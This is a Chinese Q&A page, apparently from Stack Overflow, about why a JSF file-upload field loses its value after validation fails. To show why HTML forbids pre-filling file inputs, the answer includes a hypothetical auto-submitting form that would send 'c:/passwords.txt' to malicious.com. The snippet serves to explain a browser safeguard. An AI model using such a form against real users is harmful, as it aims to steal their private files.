4

在验证以下代码后,我发现上传文件路径的值丢失了。无论如何我可以在验证失败后保留价值吗?谢谢你。

<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />
4

1 回答 1

4

那是不可能的。这是 HTML 的安全限制。您不能预填充/保留 HTML<input type="file">字段的值。由于 JSF 只生成 HTML,因此 JSF 对此无能为力。

想象一下,这个安全限制不存在,网站将能够执行以下操作:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>

你有看到?

于 2011-02-11T18:04:39.050 回答